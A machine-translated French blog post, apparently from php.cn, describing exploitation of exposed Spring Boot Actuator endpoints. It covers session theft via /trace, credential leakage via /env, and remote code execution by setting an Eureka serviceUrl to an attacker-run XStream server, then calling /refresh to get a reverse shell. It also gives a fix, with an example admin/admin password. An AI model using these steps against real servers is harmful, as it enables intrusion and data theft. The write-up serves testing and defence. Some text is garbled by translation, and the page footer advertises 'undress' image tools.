Table des matières
Prérequis : Eureka-Client <1.8.7 (principalement vu dans Spring Cloud Netflix )
Réparation de vulnérabilité
Maison Opération et maintenance Sécurité Exemple d'analyse de l'accès non autorisé de Spring Boot Actuator à getshell

Exemple d'analyse de l'accès non autorisé de Spring Boot Actuator à getshell

May 23, 2023 am 08:56 AM
spring boot actuator getshell

Avant-propos

Le chef de département a creusé cette vulnérabilité dans une certaine src C'est un vieux trou qui m'a semblé intéressant, j'ai donc mis en place un environnement local pour la tester.

Actuator est un module fonctionnel fourni par Springboot pour l'introspection et la surveillance des systèmes d'application. Avec l'aide d'Actuator, les développeurs peuvent facilement visualiser et collecter des statistiques sur certains indicateurs de surveillance du système d'application. Lorsque l'actionneur est activé, si les autorisations pertinentes ne sont pas contrôlées, les utilisateurs illégaux peuvent obtenir des informations de surveillance dans le système d'application en accédant aux points de terminaison de l'actionneur par défaut, entraînant une fuite d'informations ou même une prise de contrôle du serveur.

Actuator est un module fonctionnel fourni par Spring Boot, qui peut être utilisé pour l'introspection et la surveillance des systèmes d'application. Les points de terminaison d'exécuteur fournis sont divisés en deux catégories : les points de terminaison natifs et les points de terminaison d'extension définis par l'utilisateur, recherchent les interfaces non autorisées

Spring Boot Actuator从未授权访问到getshell的示例分析

Utilisez la trace pour obtenir des informations d'authentification (Cookie, Tooken, Session) et utilisez les informations d'authentification pour y accéder. l'interface.

  1. env peut divulguer le mot de passe du compte de base de données (mangodb). Bien sûr, le réseau externe doit être ouvert, la possibilité est donc faible.

  2. Les étrangers disent que les instructions SQL peuvent être exécutées, mais je ne le comprends pas pour le moment

  3. Découverte de vulnérabilités

  4. Il est généralement reconnu que le framework utilisé par l'application Web actuelle est le springboot cadre. Il existe deux manières principales de juger :

  5. via l'icône de l'étiquette de la page Web de l'application Web (favicon.ico) ; si le développeur de l'application Web n'a pas modifié l'icône par défaut de l'application Web Springboot, alors vous pouvez voir le icône par défaut suivante après avoir accédé à la page d'accueil de l'application Petite icône verte :


Page d'erreur par défaut via le framework Springboot si le développeur de l'application Web ne modifie pas la page d'erreur 4xx, 5xx par défaut de l'application Web Springboot ; , puis lorsque l'application Web apparaîtra des erreurs 4xx, 5xx , l'erreur suivante sera signalée (ici nous ne prenons que la page d'erreur 404 comme exemple) : accéder à un chemin construit aléatoirement, tel que : http://172.26.2.24:8090 /index, et la page d'erreur suivante apparaît, indiquant que le site Web utilise le framework Springboot (en réalité, c'est le cas dans la plupart des cas).


  1. Sur la base des deux façons ci-dessus de déterminer si l'application Web actuelle est un framework Springboot, il s'agit d'accéder à différents répertoires pour voir s'il y a une petite icône de feuille verte, puis de trouver un moyen de déclencher le 4xx de l'application dans différents répertoires ou une erreur 5xx, voyez s'il y a une erreur de page d'erreur en marque blanche.

ExploiterSpring Boot Actuator从未授权访问到getshell的示例分析

    Visitez le point de terminaison /trace pour obtenir des informations de suivi de requête HTTP de base (horodatage, en-tête HTTP, etc.). S'il y a une demande d'opération d'un utilisateur connecté, vous pouvez falsifier des cookies pour vous connecter.

  1. Accédez au point de terminaison /env pour obtenir tous les attributs de l'environnement. Étant donné que l'actionneur surveillera les services de base de données tels que mysql et mangodb sur le site, les informations de base de données mysql et mangodb peuvent parfois être obtenues via les informations de surveillance si la base de données se produit. pour être ouvert sur le réseau public, cela causera Le mal est énorme,

Spring Boot Actuator从未授权访问到getshell的示例分析

Une mauvaise configuration du point de terminaison /env provoque RCE,

Prérequis : Eureka-Client <1.8.7 (principalement vu dans Spring Cloud Netflix )

Par exemple, le frontend de test json signale une erreur et divulgue le nom du package. Utilisez simplement netflix

Spring Boot Actuator从未授权访问到getshell的示例分析

Vous avez besoin des deux packages suivants

spring-boot-starter-actuator (requis pour la configuration d'actualisation /refresh)

Spring Boot Actuator从未授权访问到getshell的示例分析spring-cloud-starter-netflix-eureka-client (dépendance fonctionnelle)

Utilisez python3 Pour démarrer le script, vous devez faire attention à deux endroits, l'un est l'adresse IP et le port de réception du shell, et l'autre est le port pour que notre script démarre.

Spring Boot Actuator从未授权访问到getshell的示例分析

Nc écoute un port pour recevoir le shell de rebond,

écrit la configuration, accède au point de terminaison /env, capture le paquet et modifie la requête get en requête de publication. . Le contenu du message est (l'ip est l'ip de la machine démarrée par le script) :

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

Ensuite, visitez /refresh, récupérez le package modifie la requête get en requête de publication, et les données de publication sont arbitraires,

Spring Boot Actuator从未授权访问到getshell的示例分析

Ensuite, dans notre fenêtre nc, vous pouvez voir qu'un shell a réussi a rebondi.

Spring Boot Actuator从未授权访问到getshell的示例分析

Réparation de vulnérabilité

En tant que chien de sécurité, vous ne pouvez pas simplement creuser sans réparer, dans le pom du projet Introduisez la dépendance spring-boot-starter-security sous le fichier .xml

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency></h3>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator从未授权访问到getshell的示例分析"></p>
<p> Ensuite, activez la fonction de sécurité dans application.properties, configurez le accédez au mot de passe du compte et redémarrez. L'application apparaîtra. </p>
<pre class="brush:php;toolbar:false">management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析

Pour désactiver l'interface, vous pouvez la définir comme suit (par exemple en désactivant l'environnement interface) : #🎜🎜 #

endpoints.env.enabled= false

Question


Les étrangers ont déclaré qu'ils pouvaient exécuter des instructions SQL, mais ont découvert que ils ne peuvent pas être exécutés. Peut-être que la méthode est inutile. Coupez-la. J'ai fait une photo de lui et j'espère que quelqu'un qui l'a mise en œuvre avec succès pourra la partager.

Spring Boot Actuator从未授权访问到getshell的示例分析

Dans l'environnement actuel, on constate qu'il n'y a pas beaucoup d'actualisations, ce qui entraîne l'impossibilité d'exécuter la commande. Il n'y a pas encore de percée#. 🎜🎜#

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Tutoriel PHP
1596
276
Comment utiliser Spring Boot pour créer des applications de traitement de Big Data Comment utiliser Spring Boot pour créer des applications de traitement de Big Data Jun 23, 2023 am 09:07 AM

Avec l’avènement de l’ère du Big Data, de plus en plus d’entreprises commencent à comprendre et à reconnaître la valeur du Big Data et à l’appliquer à leurs activités. La question qui se pose est de savoir comment gérer ce flux important de données. Dans ce cas, les applications de traitement du Big Data sont devenues quelque chose que chaque entreprise doit prendre en compte. Pour les développeurs, comment utiliser SpringBoot pour créer une application efficace de traitement du Big Data est également une question très importante. SpringBoot est un framework Java très populaire qui permet

Utilisation de WebSocket dans Spring Boot pour implémenter les fonctions push et de notification Utilisation de WebSocket dans Spring Boot pour implémenter les fonctions push et de notification Jun 23, 2023 am 11:47 AM

Dans le développement d'applications Web modernes, WebSocket est une technologie courante pour la communication instantanée et le transfert de données en temps réel. Le framework SpringBoot prend en charge WebSocket intégré, ce qui permet aux développeurs d'implémenter très facilement des fonctions push et de notification. Cet article expliquera comment utiliser WebSocket pour implémenter les fonctions push et de notification dans SpringBoot, et démontrera la mise en œuvre d'une simple salle de discussion en ligne en temps réel. Créer un projet SpringBoot Tout d'abord, nous devons créer un

Créez des applications de bureau à l'aide de Spring Boot et JavaFX Créez des applications de bureau à l'aide de Spring Boot et JavaFX Jun 22, 2023 am 10:55 AM

À mesure que la technologie continue d'évoluer, nous pouvons désormais utiliser différentes technologies pour créer des applications de bureau. SpringBoot et JavaFX sont actuellement l'un des choix les plus populaires. Cet article se concentrera sur la façon d'utiliser ces deux frameworks pour créer une application de bureau riche en fonctionnalités. 1. Introduction à SpringBoot et JavaFXSpringBoot est un framework de développement rapide basé sur le framework Spring. Il aide les développeurs à créer rapidement des applications Web tout en fournissant un ensemble de

Comment utiliser Spring Boot pour créer des applications blockchain et des contrats intelligents Comment utiliser Spring Boot pour créer des applications blockchain et des contrats intelligents Jun 22, 2023 am 09:33 AM

Avec l’essor des monnaies numériques telles que Bitcoin, la technologie blockchain est progressivement devenue un sujet brûlant. Les contrats intelligents peuvent être considérés comme un élément important de la technologie blockchain. SpringBoot, en tant que framework de développement back-end Java populaire, peut également être utilisé pour créer des applications blockchain et des contrats intelligents. Cet article explique comment utiliser SpringBoot pour créer des applications et des contrats intelligents basés sur la technologie blockchain. 1. SpringBoot et blockchain Tout d'abord, nous devons comprendre certains concepts de base liés à la blockchain. Chaîne de blocs

Spring Boot+MyBatis+Atomikos+MySQL (avec code source) Spring Boot+MyBatis+Atomikos+MySQL (avec code source) Aug 15, 2023 pm 04:12 PM

Dans les projets réels, nous essayons d'éviter les transactions distribuées. Cependant, il est parfois vraiment nécessaire de procéder à un fractionnement des services, ce qui entraînera des problèmes de transactions distribuées. Dans le même temps, des transactions distribuées sont également demandées sur le marché lors des entretiens. Vous pouvez vous entraîner avec ce cas et parler de 123 lors de l'entretien.

Créer un système ESB à l'aide de Spring Boot et Apache ServiceMix Créer un système ESB à l'aide de Spring Boot et Apache ServiceMix Jun 22, 2023 pm 12:30 PM

Alors que les entreprises modernes s’appuient de plus en plus sur une variété d’applications et de systèmes disparates, l’intégration d’entreprise devient encore plus importante. Enterprise Service Bus (ESB) est un modèle d'architecture d'intégration qui connecte différents systèmes et applications entre eux pour fournir des services communs d'échange de données et de routage de messages afin de réaliser l'intégration des applications au niveau de l'entreprise. En utilisant SpringBoot et ApacheServiceMix, nous pouvons facilement créer un système ESB. Cet article explique comment l'implémenter. SpringBoot et A

Méthodes de planification des tâches et de mise en œuvre des tâches planifiées de Spring Boot Méthodes de planification des tâches et de mise en œuvre des tâches planifiées de Spring Boot Jun 22, 2023 pm 11:58 PM

SpringBoot est un framework de développement Java très populaire. Il présente non seulement l'avantage d'un développement rapide, mais possède également de nombreuses fonctions pratiques intégrées, parmi lesquelles la planification des tâches et les tâches planifiées sont l'une de ses fonctions couramment utilisées. Cet article explorera les méthodes de planification et de mise en œuvre des tâches de SpringBoot. 1. Introduction à la planification des tâches SpringBoot La planification des tâches SpringBoot (TaskScheduling) fait référence à l'exécution de certaines tâches spéciales à un moment précis ou sous certaines conditions.

Bénéficiez d'un support multilingue et d'applications internationales grâce à Spring Boot Bénéficiez d'un support multilingue et d'applications internationales grâce à Spring Boot Jun 23, 2023 am 09:09 AM

Avec le développement de la mondialisation, de plus en plus de sites Web et d'applications doivent fournir un support multilingue et des fonctions d'internationalisation. Pour les développeurs, la mise en œuvre de ces fonctions n’est pas une tâche facile car elle nécessite de prendre en compte de nombreux aspects, tels que la traduction linguistique, les formats de date, d’heure et de devise, etc. Cependant, grâce au framework SpringBoot, nous pouvons facilement implémenter un support multilingue et des applications internationales. Tout d’abord, comprenons l’interface LocaleResolver fournie par SpringBoot. Lieu

See all articles